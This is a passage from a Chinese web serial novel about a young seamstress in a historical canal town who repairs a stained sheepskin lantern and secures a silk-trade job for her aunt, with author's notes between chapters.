“想瞧也成,给钱。” 受害者针笔匠从张木匠身后站起来,一大把年纪,颤颤巍巍地说:“你也不说要刺点什么?” “不就是左青龙右白虎,进了军营哪有不露臂膀的,”张木生啧啧两声,“还有背后刺桑青镇桑桥渡桑树口人,簪花郎张木生,年十六…,我怕我日后上战场,没人认出我咋办,这都是正经的东西。” “最后一定要刻上,此人身长五尺四三寸(一米七)。” 张木生相信自己迟早会长那么高。 针笔匠说:“你想得美。” “我不想美,我只想高,你懂什么!” 林秀水闻言,摆摆手出门去了,还是拴着点张木生吧。 她不找张木匠做人台,她找苏巧娘去,反正苏巧娘租住的房子在桑桥渡边上。 苏巧娘带她徒弟正在雕人,出来开门,一看林秀水给的纸样,她沉默一瞬,叹口气,“为了不让我饿死,你当真煞费苦心。” 她徒弟憨憨的,从兜里掏出块碎成渣的糕,舔舔嘴唇,递过来,“师父,饿了给你吃。” “好徒弟,你留着自个儿吃吧。” 苏巧娘指指这稀奇古怪的东西,点点头,“这半人跟人也只差个人,算是能做吧。” 她当初捧着偶人上门时,从没想过有今日,当真是风水轮流转。 “这才哪到哪,”林秀水一脸你这样不成,“我们手艺人要得奇巧,不能守着老本行过活。” 苏巧娘觉得是极,转头塞给林秀水一只到她小腿的悬丝傀儡,“那这衣裳就麻烦你了,我也不收你钱。” 林秀水愣住,林秀水震惊,林秀水哀怨地说:“我可多谢你了。” 她已经做衣裳有些日子磨到很晚才睡,做得累了,她得补东西去换着来。 刚支摊,有个男子走过来说:“我刚有了一窝猫崽,你能不能给它们做几只顶帽,叫人知道这是我泥七郎做的。” 林秀水好奇:“猫崽呢?” 泥七郎开始掏兜,在林秀水的注视下,掏出一窝泥猫,捏得怪头怪脑。 林秀水真是又好气又好笑,但真折了布,给每只泥猫套了帽子。 泥七郎指指自己的脑袋,很认真地说:“要不给我也做顶,不然看不出是我的猫。” 谁家猫长两撇小胡须,哪里看不出是你捏的猫,林秀水无话可说,最后只来了句,“给钱就做。” 只要钱给得多,就算他想要做猫衣裳,假装自己是只猫,林秀水都能给他做。 “真的吗?” 林秀水微笑,“假的,人是变不成猫的。” 泥七郎又问:“那猫能变成人吗?” 林秀水又笑,指指前头,“你过乔家眼药铺,再上东头去,那有间真知书院,你上那同先生讨教一下,他连风都叫学生抓,应当很乐意同你探讨这个问题。” 后来,她得知那书院先生真出了篇题目,问学生猫到底能不能成人,成人后说猫话说人话,因为他家有六只猫。 当然别人有六只猫不稀奇,稀奇的是,小荷居然忍住了货郎担架上糖和耍货的诱惑,攒够了聘猫钱,她很快要有一只猫了。 去往猫儿巷的路上,小荷坐在船头兴奋地说:“我要叫它小叶,我们就是荷叶姐妹。” 林秀水摇着船,笑了笑,“那你对猫儿有什么期许?” 小荷嘿嘿乐,“我希望它能自己上河里抓猫鱼,我想赚猫鱼钱,买许多许多糖吃。” 林秀水揉揉眉心,她真无话可说,合着这聘猫钱是这样攒下来的。 她对不住猫—— 作者有话说:发红包,祝大家连同家人端午安康[撒花][撒花][抱抱][抱抱] 35-40 第36章 第 36 章 用手艺换取新行当的活计…… 小荷用盐和芝麻聘了只橘猫。 在猫儿巷千百来只猫里, 她一眼便挑中了,那只小小的,圆头圆脑窝着不爱动的橘猫。 自在船上知晓, 猫大多是不会自个儿捕鱼的后,她转变了想法,选小的, 小猫吃得少,她能日日给它从后河里钓鱼,她不嫌猫小,猫也不要嫌她的鱼小。 虽然她钓一个月, 从没有钓上过一条鱼。 “我叫王小荷,它叫猫小叶,我们俩是人猫姐妹。” 小荷坐船舱里说, 小叶缩她怀里打盹,它是只很爱睡的小猫。 王月兰看她们这人猫姐妹不顺眼,叉着腰说:“你能带着你的猫妹,出门玩一会儿,别杵门槛边上。” 小荷蹲下来,教训缩在门槛边的小叶,“猫妹, 我跟你说, 我娘脚劲大, 你会被它踩瘪的, 来,我带你钓小鱼去。” 一人一猫钓一下午,小荷挥杆,小叶翘尾巴趴在它脚边, 眼巴巴地看河里,压根钓不上来一条鱼。 林秀水时常从窗子里看一眼,笑得拿不稳针线,起早摇船去河岸口卖鱼郎那,正好卖鱼娘子在,她说:“娘子,劳烦每日起早送点猫鱼,隔两日送一条鲜鱼来。” “正好有小鳑鲏(pángpí)鱼,猫最爱吃,两文一小篓,近来河里鳜鱼肥,我给你挑好的送来,”卖鱼娘子蹲在埠头处,手里利索剖着鱼,还笑问她,“家里养猫了?” 林秀水递了钱过去,“刚聘只猫来,是只橘猫,娘子哪日来送猫鱼,碰着它叫它小叶就成。” 她又好奇问道:“这河里有鱼吗?” “只有些小鱼小虾的,非说有,就上巳节那日西头卖鱼的,掉到里头的几尾大活鱼。” 林秀水算是知道了,合着没鱼,怪不得小荷日日钓不上来呢。 她行船往前,擦过两岸人家晒的花衣裳,进了成衣铺里,小春娥飞跑过来迎她,“猫聘了没?” “聘了呀,”林秀水迈进门槛里,有些奇怪,“怎么,你要上我家中瞧瞧去?” “瞧什么,我家里养了三只猫呢,老猫都十岁了,”小春娥理理发髻,冲大春玲招招手,“快拿出来。” 大春玲捧出两只陶罐,放在桌边,“送你的。” 林秀水打眼一瞧,扑哧笑出来,“你们两个可真逗趣。” 聘了猫,不送别的,送她叫猫气杀的陶罐,这种陶罐的盖子上面开了两个小口,能用来腌鱼腌肉,猫闻着味道却没法偷吃。 王月兰更好笑,聘了猫后一日,在小经纪那买了两只竹猫儿,是捕鼠用的。 “原指望聘只能捕鼠的大猫来,眼下这猫妹比老鼠个头还小,我还怕老鼠给它叼走呢。” 小荷摇摇脑袋,“老鼠又不吃猫。” “赚你买猫鱼的钱去,阿俏,每日两文让她自个儿付,”王月兰点点她的脑袋,“猫也聘了,别给我偷懒。” “我可没有,这两天我还帮阿姐绑穗子了,”小荷跺脚,“我最勤快了。” 林秀水给猫做个猫窝,走过来闻言懒得拆穿她,绑两个要歇好一会儿,要喝水要玩会儿千千车的家伙。 傍晚,小荷遛小叶去,小小一只橘猫迈着腿跑在她边上,林秀水留在家里,有成堆的活要做。 她的生意大多是客带客,这家补了衣裳觉得好,碰见亲戚要补东西,连忙拉到她这里来,连跟缝补碰不到的一块去的,也要过来碰碰运气,万一瞎猫撞上死耗子,她能补还可以省些银钱。 搞得林秀水算是见过不少东西,王月兰说市面上收些小破烂子的小贩,手里东西怕是没她的多,说让她少接点其他的,只接些缝缝补补的活计。 “这啥活也接,钱又赚不完,还耽误你自个儿的手艺功夫,你又忙不过来,日日睡得那么晚,”王月兰话是这样说,转头给她收拾些杂乱的东西。 林秀水将针扎在布袋里,剪了线道:“不是想多赚点钱,也给大伙寻个方便,有些活我要是不接,得跑好些路专门到其他巷子里,能顺手做了便做了。” “等以后我赚了大钱,那我可雇人来,我日日不等天黑便睡,不等天光大亮不起,姨母 ,你等着我孝敬你吧,叫你也早早过上这样的日子。” “你少胡天胡地说些胡话。” 林秀水朝她笑,眼下赚钱哪有她挑活的理,有什么活做什么。 但她乍一看院子,还真是乱糟糟的,小院里横了两根竹竿,上头挂了一排篮子,桑青镇卖篮子的多,菜篮儿、饭篮儿、香篮儿以及装花拿去卖的小花篮儿,底下要垫布块的,请她将布和篮子底缝到一处去。 她接了这个活,赚三十八文,人家还送她两个大篓子,她能拿去装布头。 另一根竹竿挂了手帕、包布、腰巾、门帘等东西,地上插着几面酒旗、两只灯笼,林秀水不接,有些也是换面新的,旧的扔掉,她想着给人家补补,又赚了钱,东西补补还能用。 她低头补东西,门外有人喊她道:“阿俏,阿俏,你上我家来趟成不成,我家的竹帘子散了架,我用线缝不上,散了一堆不好拿。” 林秀水一看,是巷里住在中间的人家,那娘子着急忙慌的,手里还沾了面粉,又抬起脸冲她笑,“也不知道能寻谁,没这竹帘子,家里瘫在床上的老太太要闹脾气,寻着你给补补。” “娘子你别急,我先去瞧瞧,”林秀水又朝里头喊,“姨母,我出门到蔡娘子家里瞧瞧,补些东西。” 林秀水收拾东西,她给自己备了个包,好几个夹层,挎在身上,跟郎中出门给人看病拿药箱一般,她出门给物件看病,看看还有没有救,有救的话拿针线给缝补上。 这些日子寻她上门的人也多了起来,当她是郎中一般,要给她上门“救治”的脚费,不多,两文钱。 林秀水到那娘子家里去,地上的竹帘子散了一半,屋里老太太咿咿呀呀地喊,捶床,蔡娘子赶紧进去,她没管,只先蹲下来看。 这竹帘子从前是用细麻绳绕着竹棍的,一根根拉紧成了竹席的,线用许多年,风吹断裂了,她从包里取出整捆的细麻线,小剪子,穿上围布,坐下来拢了竹子左右绕。 冲里头的蔡娘子说:“娘子,这竹帘子好补的,我给绕回去便成,你给我十文钱。” “可亏了这巷子有你,不然也不知道几时能补好,”蔡娘子长长松了口气,抹了抹头上的虚汗,取了十二文钱给她,两文是脚费,又连声道谢。 林秀水放到自己的小包里,将麻线挨根绕进竹棍里,右手绑,左手抬起拉紧,不多时这竹帘子便绑好了,又挂回原处去,跟没散架过一般。 她洗了手,蔡娘子送她出来,林秀水挎着包走在长长的巷弄里,一边是人家的屋檐,一边是高高的墙檐,她脚步雀跃,绣鞋轻轻快快踏在青石板上。 远处有提着菜篮,牵了孩童的娘子碰着她,都认识她,不免要问声,“阿俏上哪去了?” 她家闺女笑嘻嘻地接话,“肯定补东西去了,阿俏姐姐能补好些东西,娘,我的衣裳是她补得呀,有猫猫的。” “去补了扇竹帘,”林秀水停下脚步,微弯身子冲小孩笑,“那可别再爬树了。” “我再也不爬了。” 林秀水跟两人说完话,又走在墙影里,边上跑过两小孩,手里握着纸鸢,嘻嘻哈哈,笑声撒了一地。 结果乐极生悲,有个小孩的纸鸢线断了,挂在屋檐上,急得大哭,他顶着两个冲天辫,又哭又跳去够纸鸢,嘴里喊着:“我娘会打死我的,我才六岁,我还不是很想死,呜呜呜呜。” 另一个小女童也急得抹眼泪,“怎么办,我不想你死,我得上哪找你玩去,要不你躲我家里吧,我娘只会打人,不会打死人的。” 林秀水听了哈哈大笑,这哪家小孩,她看了眼屋檐,纸鸢正好挂在屋檐边上,她跳了三次,右手指头才碰着纸鸢,将它拿了下来。 小女童蹦起来,“阿牛,你不会死了。” “可我的纸鸢死了啊呜呜呜,它飞不起来了,”阿牛举着手里断裂的线,哭得更大声了。 林秀水从包里取出线和针,“放心,等会儿它又能飞了。” 她将麻线绕出来,线的一头细细缝在纸鸢上,她伸手拽了拽,没掉,两个小孩围着她,眼睛瞪得大大的,尤其看纸鸢真能飞起来,围着她欢呼。 林秀水摸摸两人的头,往家里走去,纸鸢在她身后高高飞起来,她回过头看了几眼。 在缝补的日子里,有许许多多次,她想的是,她会在裁缝这行当里走下去的。 好像不再单单只是为了钱。 当然,眼下她主要还是为了钱,她只解决了温饱而已。 没有钱,她哪里能扯得起油布,做得起手套,尤其面对来询问她的胖娘子。 在缝补过的这么多活计里,林秀水没忘记她,“娘子你是之前那个,说去钱塘门外做鱼儿活营生的,养金鲫的那个是不是?怎么回来了?之前卖给你的手套好不好用?” 那胖娘子好高兴,两边脸颊都鼓起来,还有人记着她呢,她连连点头,“小娘子还记着我呢,那手套可好用了,钱塘门外那池子水可深了,河里的水冷,我从前日日翻石头摸虾,那手指头夜里都麻得要命,早起连握东西也握不起来,僵得跟在冬日里浸冰水里一样又麻又木。” “可用了这手套,我抓了十几日虾,早起手真不那样疼了,我也不怕小娘子你笑话,用了这来月事都好上许多。” 养鱼娘子啥话也往外说,她不是个能藏住事的,笑得憨厚,“这不是后悔前头只买了一双,日日下水又裂了,我这回多买点,买十双来,我还有不少一同做活的姐妹呢。” “这做哪行都不大容易,可多注意点身子,光有手套可不行,要吃些防寒的东西,”林秀水真心关切了几句。 养鱼娘子朝她笑,“这我们都晓得,赚点钱混口饭吃,趁着还能做活,多赚些来。” 林秀水也不多说,从篓子里取出手套,有两种问她哪样,一种她用桐油涂了边缝,一种则絮了丝绵内里,各有各的好。 “这种轻便些,卖二十文,这种则要厚重,三十文,哪怕浸冷水里好几个时辰,也不会太麻,我卖给洗衣行里浆麻线的,大家都说好用。” “我们哪好用就图哪个,就是买得多,能给我们便宜点不”养鱼娘子拿出钱袋,准备一文文数了给林秀水。 林秀水说:“便宜是便宜不了的,最多我这再送你双厚的,下回要用着好,再到我这里来买。” “我要在这行里做,跟你肯定是要做回头买卖的,这是五百四十文,你背着人些数,也不怕有人同你抢。” “我走了,小娘子下回要是到钱塘门外来,想买金鲫,报我李三丫的名字,至少能给你便宜两三十文,上那来啊,我可得走了,不能误了夜里的活计。” 林秀水看她提了篓子,急匆匆消失在人群里,收好了钱,她还得再送些手套来,别看五百四十文多,她最多赚个八九十文。 但她想着,这各行各当那么多,也总有人用得上,她不会卖亏的,只要大家说了好用,她便没亏。 她坐下来想,卖给桐油作里给油布、油纸伞上桐油的,这些日子里卖出去三四十双,都说桐油不滴手,即使有些闷得慌,也不大生疹子了。 于六娘给她介绍调漆的那些人,林秀水连门都没进去过,这种作坊不让人进,怕闻着生漆味咬人烂脸,但里头的漆大娘过来跟她买手套时,也说套上好了不少,至少不会痒得破皮,大伙能把官衙日催夜催的广漆和熟漆给交付了。 至于她手套买卖铺陈最大的洗衣行,用过的基本交口称赞,能洗的衣裳多了,赚的钱也比原先要多些,她们这行本就赚钱吃苦力,多些钱也能多买些粮食,多吃口饭。 林秀水近来倒是不想改手套,除非花大价钱买油布和桐油,或者很好的纸和丝绵絮在里头,达到用上好几个月也不漏的,但没什么意义,价钱太高的东西,大家也买不起。 不过她学了字,日日练字,花押也有些样子,她打算刻章子,给自己卖的手套内里印上水字的花押,这样大伙知道这东西出自她的手里。 但这法子用在卖出去的香囊上,又不大合适,她便做了一堆布的挂牌,上面绣了水字,坠在香囊底下。 不止香囊,她给苏巧娘做的偶人衣裳,给春大娘那个小女童象生叫声社做的衣裳,也在内里缝了她花押的标牌。 这是她自己的物勒工名。 林秀水会对卖出去的东西负责任,赚她能赚的钱。 夜里数 钱时,她惊喜地发现,靠她自己日夜苦赚,她终于在买完油布、线料等等东西后,不再倒欠自己银钱,她攒了一贯钱,当真可喜可贺。 也正是因为赚了钱,林秀水才有底气跟王月兰说:“姨母,你要不换个行当吧,别做染匠了。” 今日王月兰从染肆里回来,额头红肿,脸上沾了不少蓝印子,她慢吞吞洗着手,跟林秀水没说实话:“就没看路,磕那个染架上头,我瞧过大夫了,擦点药膏便行。” “换什么行当,哪有行当一个月能赚两贯的,这钱要当吃要当喝的,难不成还靠你一个人挑担子。” 她嘴巴很硬,非说是在染架上撞的,但其实她那个小染肆里,不是日日都有染蓝布的活,想要一个月多赚点,她去扛又沉又重的染架,扛染棍,有运到码头的布匹,她也去扛。 就算王月兰力气大,可染架实在重,她不当心撞着头了,还撞得有些厉害,碎发遮掩不掉,才被林秀水一眼瞧出来。 “换个轻省点的活计,弄丝绵去,”林秀水给她涂药,轻声说。 王月兰笑她,“这种活镇里能干的人那样多,哪里能轮得到我,就算能做,一个月也才几个钱,能有两贯吗?” “肯定有,我给姨母你寻一个来,”林秀水很笃定,也沉着脸要王月兰跟她保证,“我要给姨母你找到,你别染肆干活了行不行。” “你个小孩子家家的,”王月兰看她的面色,点点头,“你要真能找到,我立即就去辞了染肆的活。” 其实她知道的,镇里桑蚕多,干丝绵行的人也多,活多人多好钱少,找不到好活计的,这她就是宽宽林秀水的心,她还是想在染肆里多赚点银钱,日后林秀水成家,她也好多贴补点些。 林秀水有一夜没睡好,翻来覆去,老鼠都上工了,在吱吱叫唤,她还睁着眼呢。 熬到第二日,她拿上自己的包,揣上所有银钱,悄悄地开门出去,行船到东边桥头岸口的院子里,刘牙嫂住在那。 就是林秀水早前来桑青镇,给她寻了顾娘子成衣铺活计的,刘牙嫂在布匹行当里人脉相当广。 她蹲在门边上,起来太早,她有些犯困打盹,可给开门的刘牙嫂吓一跳,“你敲敲门呀,我还能不给开。” “我识得你,你是顾娘子成衣铺里的。” 刘牙嫂记性好得很,她经手过的,没有哪个不清楚的,她都得回去问主家的,她知道林秀水的本事。 林秀水说了来意,刘牙嫂瞧她,“弄丝绵的活倒是有,一贯最多,你要两贯也不是没有,这活不是你给我多少钱的事,得你从我手里挣。” “我有估衣铺的营生,里头有件十分棘手的活计,你且看看你能不能做。”—— 作者有话说:新的一月啦,本章发两个红包,一是祝大家新的一月事事顺利,身体健康[红心],二是我终于过完了这倒霉透顶的一个月,希望否极泰来呜呜呜 第37章 第 37 章 羊皮灯与驴 刘牙嫂说的棘手活计, 是修补一盏灯。 一盏林秀水听过,却从没摸过的羊皮灯,又称气死风灯。 由于这种灯糊的羊皮, 扎的圈口小,很密实,风吹不灭里头的蜡烛, 而由此得名。 不过没气死风,但刘牙嫂确实要被这盏灯气死了,她头上像顶着熊熊燃烧的蜡烛。 按理来说,估衣铺的买卖营生是卖旧衣的, 每年春三月质库放一批死当出来,按绢、麻、丝绸、绫罗等等料子,随意打包, 叫人扑买。 原先刘牙嫂只想扑买几包衣裳,便打算收手,偏偏质库的死当里放出了一批灯。临安内城上月抄了几个大官的宅邸,有不少好货被当了,其中便有许多灯,绢灯、玉灯、缀珠灯、罗帛灯、日月灯,还有刘牙嫂拼了命抢回来的羊皮灯。 她三贯钱扑买来的, 五贯卖给西边三湾桥开醋坊的张家, 结果这灯有个大毛病, 人家叫她要不修好, 要不就到处说她丧良心,好好的牙嫂不做,干起卖破灯的勾当。 实则气不过刘牙嫂卖他旧灯,下了他的面子。 “哪里有毛病?” 林秀水拿起这羊皮灯, 凑近到眼前边细看,又瞧接缝处,再上手细细摸了圈,是盏皮子制得很薄的羊皮灯,里头有张内衬,没瞧出什么大问题。 她一直在补蹴鞠,蹴鞠外头是牛皮子制的,皮料的手感她很熟了,这羊皮虽说薄,但皮子不错。 左右瞧不出问题,林秀水都怀疑刘牙嫂诓她来了。 “瞧不出吧,”刘牙嫂摸摸起泡的嘴角,哼一声,她自认为眼力不错,偏在这上头吃了大亏。 她取来两根蜡烛,一根长,一根短,长的那根几乎没用,短的快燃尽了,刘牙嫂点起发烛,凑到长蜡烛边上点着。 叫林秀水拉了竹帘子,关上门,等屋里黑得不见光时,刘牙嫂此时已经将羊皮灯底下烛台抽出,插上长蜡烛,光打在羊皮灯里,发出亮黄而朦朦胧胧的光。 林秀水眯起眼,凑过去,没瞧出名堂来,虽说羊皮灯她没补过,可她补过三十来只灯笼。 可刘牙嫂换了短蜡烛,林秀水咦一声,蹲下来看,只见那底下的羊皮里竟是透出了一块块小而不均匀的斑污,长蜡烛下不显眼,可短蜡便不同了,刚好照到最下面一截。 这种要不是蜡烛熏出来的,或者换烛台时,滴蜡油不注意,估计当时用法子补救过了,所以外头不显,光一照透出来。 刘牙嫂吃亏就吃亏在这上头,别看估衣里头也有羊皮袄子卖,但灯和估衣、布匹,那是隔了几个行当的东西,她算是跌了大跟头,卖醋的那家心眼小得跟针尖似的,给钱也不行,不修好,非要败坏她的名声。 “听闻你修补东西很厉害,桑桥渡都颇有名声,”刘牙嫂倒也没抱太大期望,但仍问,“能不能修?” “你要能修好,我这手里有丝行的门路,光缫丝能一个月给出两贯二,后头小满上新丝,废丝多了弄丝绵,能有两贯五。” “你自己在成衣铺里混的,眼下这行当里,蚕丝行里人最多,能有这个月钱真的不错了,我都要托人情关系的。” 林秀水吹熄蜡烛,拉起竹帘子,踱步走回来时说:“只能补成原样,不能染了色,绣上花样?” 刘牙嫂想起这来,便想咬碎一口牙,疼得她嘴边烂的泡疼,她嘶嘶两声说:“要是能的话,我早有法子了,拿鸭跖(zhí)草的花汁,请人用丝绵沾了,作画在羊皮,画成青碧色。再不济我叫弄皮影的,他们也是用羊皮雕的,底下雕些东西上去盖住,我还至于发什么愁。” 正是因着要原模原样,不许先换只来,她才没法子,气得牙痒痒,她再也见不得什么气死风灯。 林秀水也没一口应下,刘牙嫂说棘手,当真是十分棘手,她眼下没法补,只说给她几日工夫,叫刘牙嫂务必等等。 等出了门,她到成衣铺里,问顾娘子,“娘子,这丝行里缫丝弄丝绵的月钱,有没有高些的?不是我要去,我给旁人问问。” 顾娘子放了一半的心,想了会儿道:“有倒是有,那都是人家行老牙嫂的亲戚,要不什么样的活也接,从五更天忙到入夜,才有两三贯。其他大多也就一贯多钱,毕竟这活要轻省些。” 她到底没放下心来,“你难不成真想往丝行里去,那不如我给的月钱高,你再多做些日子,我还能给你加月钱。” 林秀水解释了缘由,她还没想换行当,丝行虽说算是布匹行当里的,但跟裁缝也差得老远了,她只是在缝补活计越走越偏,不是真想在裁缝上也偏了行。 她又去问了相熟的人,丝行的行老、牙嫂,得到的答复差不多,在桑青镇遍地织工、缫丝的,一贯多钱当真算高的了。 林秀水走在路上时想,不就一个羊皮灯,还能将她难倒不成,最多将她气死。 刘牙嫂不给她羊皮灯,她便找皮六打听,“你们打蹴鞠的,皮匠手里有没有羊皮子,要那种薄的,比你们牛皮还薄的,我 想买几张来。” 皮六一听忙道:“还真有不少,我们那的皮匠正琢磨呢,用羊皮子来做皮鞠,你要的话,我给你要几张,放心,他们要不给的话,我抢都给你抢来。” “那倒也不必,还是给钱吧。” “给钱干啥,犯不着。” 林秀水说:“我怕你被打。” 还得叫她出药钱,她出不起。 不过皮六真送了她几张边角料的羊皮,刮得很薄,跟羊皮灯那种差不多。 林秀水在羊皮反面黏上薄纸,再抹油,用蜡烛熏,做出蜡烛熏的油斑来,油污斑点不难,难的是,她揭不下里头的内衬,盖不住污点。 她试了用皂角,那块皮子立马紧缩,请张木匠用竹刀刮,再打磨,里头的污渍没了,蜡烛一照整块地方薄透透的。 用纸和布都试了,照出来会变色不说,主要摸着特别厚重。 还试过找桑桥渡南边那家修补书画的摊子,什么桑木灰搅拌成浆,覆盖在上头,放炉子上头烘烤,压根没用,还坑了她五文钱! 林秀水总算知道这家为什么没生意了,合着是个半吊子。 走了好些弯路,街边有个糊蚕箪的阿婆,她同林秀水说:“一看小娘子你没糊过灯笼,你这种还是得用纸,我们惯常糊纱灯、绢灯的,其实不大看纱、绢薄,而看里头糊的东西,里头纸薄照出来的光便跟纸一般薄,用纱糊,那灯照得亮。” “这种皮子有污用纱不行,你用纸能盖住,且摸起来只厚一些。” “要是信得过婆子我,我带你去找纸,你给我三文脚费就成。” 林秀水也没法子,糊灯笼的匠人她也找过,不大管用,索性便说:“那成,劳烦阿婆带我找找。” 她跟着阿婆到了个小铺子里,才知道世上有手艺的人多如牛毛。 铺子里头摆了许多纸,有薄有厚,有黄有白的,不是市面上出名的纸,全是他们自己做的,且眼力又好,取了两三张薄纸出来说,“你用这指定能盖住。” “这是竹纸,皮韧轻滑,而且是半熟纸,遮盖用这种好,从生纸打磨过到光滑,熟纸是滑而更薄,但它会湿涨干缩,尤其到了梅雨时节里,得整面起翘。” 林秀水倒没太信,拿过纸试了试,盖在羊皮上头,对着日头照,忽而眼睛睁大,反复移开纸张,污点出现,纸盖上污点消失。 她想蹦起来,可喜可贺,走了两日弯路,路就在个寻常拐角小铺子里。 找到了能盖住的东西,接下来对她来说,不管羊皮灯和绢灯还是纱灯,都一个样,她能补。 林秀水满心欢喜带上东西,装了满满一个袋子,到刘牙嫂的铺子里。 “这纸真能有用?”刘牙嫂看她摊出来的东西,满脸怀疑。 林秀水来来回回试了二十多遍,她很有底气,“娘子你只管放心,要是没用,我上门给人家磕头赔礼去,不叫你难做人。” 刘牙嫂一屁股坐下,叹口气,“这死灯当活灯医吧,要不医死,要不医活,反正别医得半死不活。” 只是她越想越慌,早知道不占那两贯的便宜了,闭着眼坐那反复抓自己鬓发,心里烦得要结成块,堵在心口。 倒是想起身,不小心瞥到林秀水的动作,她揉揉眼,连忙走上前两步,差点踢倒圆凳,连忙伸出两只手扶住,也不管了,直接蹲下来瞧。 只见林秀水拆了烛底,将纸塞到里头去,用劈得极细的线,扎到羊皮缝里去,里外来回穿针,有动静也不理,她全神贯注,压根听不见外头的声响。 在她的上下穿针引线里,原先卷曲的纸张,渐渐消失在刘牙嫂眼里,她只能见到那羊皮,连孔眼也没瞧见。 半个多时辰里,刘牙嫂一直蹲着瞧,连大气也不敢喘一下,生怕叫林秀水的手发起抖来,扎坏了皮料。 连林秀水缝好,给羊皮灯做了个新内衬,且用蜡烛一照,完全瞧不出底下的斑痕来,刘牙嫂也没起身,照旧蹲在地上。 随后传来她的声音,有些哑,慢慢举起手,“你扶我把,我腿软站不起来。” 林秀水笑了声,她还以为刘牙嫂见惯了世面,补好也不为所动。 刘牙嫂拖着发麻的腿,来来回回地瞧,用长蜡烛、短蜡烛、日头、炉子里的火光轮换着来,确保真的瞧不出,且只是皮子厚了些,里头的内衬完完全全贴合,没有一点痕迹。 她才长长松了口气,浑身有劲,要林秀水跟她去见卖醋张家老头。 那老头靠醋坊发家,自视甚高,平日最见不得人瞧不起他,刘牙嫂拿来时,他还鼻孔上翘,“我倒要看看,你找了哪门子高人,能补什么样,别又拿了个新的来糊弄我,我压根不吃这一套。” 到小厮换了蜡烛点,长蜡烛、短蜡烛换了遍,真瞧不出半点来时。 他挑不出一点,又没辙,才重重哼一声,啰里吧嗦说了一通,其意思是,“算你走运,你要知道,我在临安城里也是大名响当当的人物,你拿个用过的灯笼来糊弄我…” 刘牙嫂暗自呸了声,靠卖假醋进监牢里,用钱赎回来的大名响当当吗?也有脸说。 她又赔了五百文,等这老头卖弄完自己大名,这档子事情才算是揭了过去,她刘牙嫂混了十来年的名声保住了。 出了门,刘牙嫂拉着林秀水的手,塞给她一包钱说:“妹啊,啥也别说,这情我记着,你嘱托的事情,只管包在我身上,我刘二花保管能给办得妥帖,没有半点错漏,你下了工只管带人过来。” “以后有什么事,不管我能不能给你办,你只要来说,我没有半句虚话,就是这杀人放火越货,卖灯笼的事,咱是真真干不了。” 林秀水被她拉着大谢特谢一番,还被塞了一包谢钱,有百来文。 回去路上,别说刘牙嫂松了口气,林秀水自个儿悬着的心也放了下来,她估摸着,自己有阵子没法接补灯笼的活了,她看见灯笼也有点发怵。 忙了两日这事,连猫小叶翘着短短的尾巴,趴在她脚边让她摸摸,她都只能胡乱撸一把这下总归能摸得它呼噜噜直叫。 等王月兰下工,带了满身蓝污印子回来时,林秀水跑过去说:“姨母,我给你寻了个丝行的活计,一个月的月钱有两贯二。” “你没睡醒还是我没睡醒?” 王月兰脱了外衣,准备换其他衣裳,她不大相信,“我跟你说,我真不莽干,你要真不放心,你跟我上工去,盯着我做活。” “哎呀,是真的,我给人刘牙嫂帮了个忙,她给寻的,保真,比金子还真,姨母你跟我去一趟。” 林秀水拉她,叫她换上之前新做青绿褙子,梳梳头发,手脸抹些面油,让小荷和小叶看家,硬拉着王月兰出门。 王月兰不大信天上掉馅饼,问林秀水是不是被人忽悠了,是不是欠人家的人情债了,要真如此,她夜里都睡不着。连被刘牙嫂领到丝行里,站在成堆的茧子里,还没回过神来。 “缫丝,给两贯二?”王月兰第三遍问,“真不是给二百文?” 刘牙嫂笑道:“你要真不信,我人又跑不掉,你只管上门来找我。你也别不信,亏你家外甥女帮了我个大忙,说句天地良心的话,这活我当自家顶好亲戚给她寻摸的。” 王月兰心里沉甸甸的,又跟刘牙嫂说:“要不我出些银钱,牙嫂你再给成衣铺寻个熨布的,这活轻省,我不做,叫阿俏换到这来做成不成。 ” “哎呦,娘子你真是说笑,那顾娘子千叮咛万嘱咐,叫我别寻人上门。” “不成,”林秀水摇摇头,拉她胳膊,“我可不喜欢缫丝,姨母你快试试,人家等着呢。” 王月兰见不成,也不再将活往外推,她转眼便想明白了,要有个轻省活计,还能多顾着家里大大小小,管着两个孩子温饱。 且她不管在缫丝,还是丝绵上头,那是真有手艺的,就算两三年没再做这行,一拿到茧子,仍旧能分清是什么 茧。 双宫茧、穿孔茧、乌头茧、搭壳茧,这些都是下等茧,不能缫丝,用来做丝绵的,诸如种种茧子,王月兰没有错漏的,甚至没上手摸,只是瞧着便有数。 等她坐下来,旁边的丝娘递过来一桶双宫茧,这种茧子是两条蚕或以上的蚕做成的茧,个头很大,里头的蚕丝纷乱复杂,丝没法剥出来。 但是放老茧和香油煮过,茧便松了,又经过反复冲洗,洗去茧油,这样的茧就能扯绵兜了。 丝娘说:“做小兜来瞧瞧。” 王月兰立即捞出水里的茧子,放到手里,她的手在林秀水这一个多月日夜督促下,勤抹油,干活戴手套,已经光滑细腻许多,不再生裂口,也不会刮丝。 她能很顺畅剥开里头茧子,利落取出里头的蚕蛹,那小小一团的蚕茧,在她手里左右横扯,变成只雪白均匀的小兜,不过须臾工夫。 丝娘接过来细看了翻,伸手扯了扯,有了些许笑容,“扯得不错,手快稳当,厚薄匀称,我给你点半根香,我瞧瞧能扯多少。” 王月兰扯了三十来个丝绵兜,丝娘很满意,跟行老说了声,又跟王月兰说:“且在这做吧,一个月两贯二钱,月初便发,一月里一半缫丝,一半剥茧做小兜。” “真的?”王月兰搓搓自己湿黏黏的手。 “假的,瞧她还糊涂着呢,你明日便来上工吧。” 王月兰仍旧坐在成堆的茧子里,像是看见了十来年前的自己,剥茧、缫丝、煮茧、扯丝绵兜,小兜、大兜,再翻成厚厚的丝绵被,她日日围着丝绵打转,期许以后。 可是十多年过去,她历经两段婚姻,不再年轻,其间辗转多个地方,离开故土,却又回到了她熟悉的丝绵行当里。 像是离开许多年的东西,飘飘荡荡的,又回到了她的手里。 “姨母,怎么了?”林秀水握她的手,拉她起来,欢欢喜喜地说,“我就知道你很厉害的,我们回家去吧,等会儿能路过分茶酒店,要一份笋鸡鹅,再买份糖蜜酥皮烧饼,给小叶带份小虾怎么样,得好好吃一顿嘛。” “我出钱,再买份麻饮鸡虾粉。” 两个人从丝行离开,此时已经暮色将近,两人走在热闹的人群里,相互诉说喜悦,她们彼此紧靠。 夜里,小屋里点了蜡烛,猫小叶吃虾吃得头也不抬,小荷啃鸡腿,她吃得嘴巴油汪汪的,“娘赚了钱,我能日日能吃鸡腿吗?” 王月兰批复但驳回,“你也日日从你阿姐手里赚钱,我有天天吃上糖吗?你想得可真美。” 小荷点点头承认,“我就是很美。” 